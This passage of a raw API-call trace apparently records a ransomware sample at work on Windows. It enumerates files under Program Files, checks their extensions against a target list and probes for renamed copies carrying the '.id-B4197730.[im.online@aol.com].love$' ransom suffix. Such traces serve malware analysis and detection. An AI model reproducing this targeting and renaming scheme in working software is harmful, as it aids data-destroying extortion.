(lpString1=".ppt", lpString2=".p7b") returned 1 [0224.063] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0224.063] lstrlenW (lpString=".zip") returned 4 [0224.063] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0224.063] lstrlenW (lpString=".rar") returned 4 [0224.063] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0224.063] lstrlenW (lpString=".bz2") returned 4 [0224.063] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0224.063] lstrlenW (lpString=".7z") returned 3 [0224.063] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0224.063] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0224.063] lstrlenW (lpString=".dbf") returned 4 [0224.063] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0224.063] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0224.063] lstrlenW (lpString=".1cd") returned 4 [0224.063] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0224.063] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0224.063] lstrlenW (lpString=".jpg") returned 4 [0224.063] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0224.063] Sleep (dwMilliseconds=0x64) [0224.414] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0224.414] lstrlenW (lpString="auxpad.xml") returned 10 [0224.414] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0224.499] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=212) returned 1 [0224.499] CloseHandle (hObject=0x3d4) returned 1 [0224.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0224.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0224.500] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0224.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0224.500] lstrlenW (lpString=".doc") returned 4 [0224.500] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0224.500] lstrlenW (lpString=".docx") returned 5 [0224.500] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0224.500] lstrlenW (lpString=".pdf") returned 4 [0224.500] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0224.500] lstrlenW (lpString=".xls") returned 4 [0224.500] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0224.500] lstrlenW (lpString=".xlsx") returned 5 [0224.500] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0224.500] lstrlenW (lpString=".ppt") returned 4 [0224.500] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0224.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0224.500] lstrlenW (lpString=".zip") returned 4 [0224.500] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0224.500] lstrlenW (lpString=".rar") returned 4 [0224.500] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0224.500] lstrlenW (lpString=".bz2") returned 4 [0224.500] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0224.500] lstrlenW (lpString=".7z") returned 3 [0224.501] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0224.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0224.501] lstrlenW (lpString=".dbf") returned 4 [0224.501] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0224.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0224.501] lstrlenW (lpString=".1cd") returned 4 [0224.501] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0224.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0224.501] lstrlenW (lpString=".jpg") returned 4 [0224.501] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0224.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0224.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0224.501] lstrlenW (lpString=".doc") returned 4 [0224.501] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0224.501] lstrlenW (lpString=".docx") returned 5 [0224.501] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0224.501] lstrlenW (lpString=".pdf") returned 4 [0224.501] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0224.501] lstrlenW (lpString=".xls") returned 4 [0224.501] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0224.501] lstrlenW (lpString=".xlsx") returned 5 [0224.501] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0224.501] lstrlenW (lpString=".ppt") returned 4 [0224.501] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0224.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0224.501] lstrlenW (lpString=".zip") returned 4 [0224.501] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0224.502] lstrlenW (lpString=".rar") returned 4 [0224.502] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0224.502] lstrlenW (lpString=".bz2") returned 4 [0224.502] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0224.502] lstrlenW (lpString=".7z") returned 3 [0224.502] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0224.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0224.502] lstrlenW (lpString=".dbf") returned 4 [0224.502] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0224.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0224.502] lstrlenW (lpString=".1cd") returned 4 [0224.502] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0224.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0224.502] lstrlenW (lpString=".jpg") returned 4 [0224.502] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0224.502] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0224.502] lstrlenW (lpString="insertbase.xml") returned 14 [0224.502] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0224.513] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=903) returned 1 [0224.513] CloseHandle (hObject=0x3d4) returned 1 [0224.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml")) returned 0x20 [0224.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0224.514] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0224.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0224.514] lstrlenW (lpString=".doc") returned 4 [0224.514] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0224.514] lstrlenW (lpString=".docx") returned 5 [0224.514] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0224.514] lstrlenW (lpString=".pdf") returned 4 [0224.514] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0224.514] lstrlenW (lpString=".xls") returned 4 [0224.514] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0224.514] lstrlenW (lpString=".xlsx") returned 5 [0224.514] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0224.514] lstrlenW (lpString=".ppt") returned 4 [0224.514] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0224.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0224.515] lstrlenW (lpString=".zip") returned 4 [0224.515] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0224.515] lstrlenW (lpString=".rar") returned 4 [0224.515] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0224.515] lstrlenW (lpString=".bz2") returned 4 [0224.515] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0224.515] lstrlenW (lpString=".7z") returned 3 [0224.515] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0224.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0224.515] lstrlenW (lpString=".dbf") returned 4 [0224.515] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0224.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0224.515] lstrlenW (lpString=".1cd") returned 4 [0224.515] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0224.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0224.515] lstrlenW (lpString=".jpg") returned 4 [0224.515] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0224.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0224.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0224.539] lstrlenW (lpString=".doc") returned 4 [0224.539] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0224.539] lstrlenW (lpString=".docx") returned 5 [0224.539] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0224.539] lstrlenW (lpString=".pdf") returned 4 [0224.539] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0224.539] lstrlenW (lpString=".xls") returned 4 [0224.539] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0224.539] lstrlenW (lpString=".xlsx") returned 5 [0224.539] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0224.540] lstrlenW (lpString=".ppt") returned 4 [0224.540] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0224.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0224.540] lstrlenW (lpString=".zip") returned 4 [0224.540] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0224.540] lstrlenW (lpString=".rar") returned 4 [0224.540] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0224.540] lstrlenW (lpString=".bz2") returned 4 [0224.540] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0224.540] lstrlenW (lpString=".7z") returned 3 [0224.540] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0224.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0224.540] lstrlenW (lpString=".dbf") returned 4 [0224.540] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0224.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0224.540] lstrlenW (lpString=".1cd") returned 4 [0224.540] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0224.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0224.540] lstrlenW (lpString=".jpg") returned 4 [0224.540] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0224.541] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0224.541] lstrlenW (lpString="keypadbase.xml") returned 14 [0224.541] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0224.542] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=903) returned 1 [0224.542] CloseHandle (hObject=0x3c4) returned 1 [0224.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0224.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0224.547] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0224.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0224.547] lstrlenW (lpString=".doc") returned 4 [0224.548] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0224.548] lstrlenW (lpString=".docx") returned 5 [0224.548] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0224.548] lstrlenW (lpString=".pdf") returned 4 [0224.548] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0224.548] lstrlenW (lpString=".xls") returned 4 [0224.548] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0224.548] lstrlenW (lpString=".xlsx") returned 5 [0224.548] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0224.548] lstrlenW (lpString=".ppt") returned 4 [0224.548] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0224.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0224.548] lstrlenW (lpString=".zip") returned 4 [0224.548] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0224.548] lstrlenW (lpString=".rar") returned 4 [0224.548] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0224.548] lstrlenW (lpString=".bz2") returned 4 [0224.548] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0224.548] lstrlenW (lpString=".7z") returned 3 [0224.548] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0224.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0224.548] lstrlenW (lpString=".dbf") returned 4 [0224.548] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0224.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0224.548] lstrlenW (lpString=".1cd") returned 4 [0224.548] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0224.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0224.548] lstrlenW (lpString=".jpg") returned 4 [0224.549] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0224.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0224.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0224.549] lstrlenW (lpString=".doc") returned 4 [0224.549] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0224.549] lstrlenW (lpString=".docx") returned 5 [0224.549] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0224.549] lstrlenW (lpString=".pdf") returned 4 [0224.549] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0224.549] lstrlenW (lpString=".xls") returned 4 [0224.549] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0224.549] lstrlenW (lpString=".xlsx") returned 5 [0224.549] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0224.549] lstrlenW (lpString=".ppt") returned 4 [0224.549] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0224.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0224.549] lstrlenW (lpString=".zip") returned 4 [0224.549] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0224.549] lstrlenW (lpString=".rar") returned 4 [0224.549] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0224.549] lstrlenW (lpString=".bz2") returned 4 [0224.549] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0224.549] lstrlenW (lpString=".7z") returned 3 [0224.549] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0224.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0224.549] lstrlenW (lpString=".dbf") returned 4 [0224.549] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0224.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0224.550] lstrlenW (lpString=".1cd") returned 4 [0224.550] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0224.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0224.550] lstrlenW (lpString=".jpg") returned 4 [0224.550] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0224.550] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0224.550] lstrlenW (lpString="keypad.xml") returned 10 [0224.550] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0224.550] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=693) returned 1 [0224.551] CloseHandle (hObject=0x3c4) returned 1 [0224.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0x20 [0224.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0224.551] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0224.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0224.551] lstrlenW (lpString=".doc") returned 4 [0224.551] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0224.551] lstrlenW (lpString=".docx") returned 5 [0224.551] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0224.551] lstrlenW (lpString=".pdf") returned 4 [0224.551] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0224.551] lstrlenW (lpString=".xls") returned 4 [0224.551] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0224.551] lstrlenW (lpString=".xlsx") returned 5 [0224.551] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0224.551] lstrlenW (lpString=".ppt") returned 4 [0224.551] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0224.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0224.552] lstrlenW (lpString=".zip") returned 4 [0224.552] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0224.552] lstrlenW (lpString=".rar") returned 4 [0224.552] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0224.552] lstrlenW (lpString=".bz2") returned 4 [0224.552] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0224.552] lstrlenW (lpString=".7z") returned 3 [0224.552] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0224.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0224.552] lstrlenW (lpString=".dbf") returned 4 [0224.552] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0224.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0224.552] lstrlenW (lpString=".1cd") returned 4 [0224.552] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0224.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0224.552] lstrlenW (lpString=".jpg") returned 4 [0224.552] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0224.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0224.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0224.552] lstrlenW (lpString=".doc") returned 4 [0224.552] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0224.552] lstrlenW (lpString=".docx") returned 5 [0224.552] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0224.552] lstrlenW (lpString=".pdf") returned 4 [0224.552] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0224.552] lstrlenW (lpString=".xls") returned 4 [0224.552] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0224.553] lstrlenW (lpString=".xlsx") returned 5 [0224.553] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0224.553] lstrlenW (lpString=".ppt") returned 4 [0224.553] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0224.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0224.553] lstrlenW (lpString=".zip") returned 4 [0224.553] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0224.553] lstrlenW (lpString=".rar") returned 4 [0224.553] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0224.553] lstrlenW (lpString=".bz2") returned 4 [0224.553] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0224.553] lstrlenW (lpString=".7z") returned 3 [0224.553] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0224.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0224.553] lstrlenW (lpString=".dbf") returned 4 [0224.553] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0224.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0224.553] lstrlenW (lpString=".1cd") returned 4 [0224.553] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0224.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0224.553] lstrlenW (lpString=".jpg") returned 4 [0224.554] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0224.554] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0224.554] lstrlenW (lpString="base.xml") returned 8 [0224.554] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0224.556] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=3333) returned 1 [0224.556] CloseHandle (hObject=0x3c4) returned 1 [0224.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml")) returned 0x20 [0224.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id-b4197730.[im.online@aol.com].love$")) returned 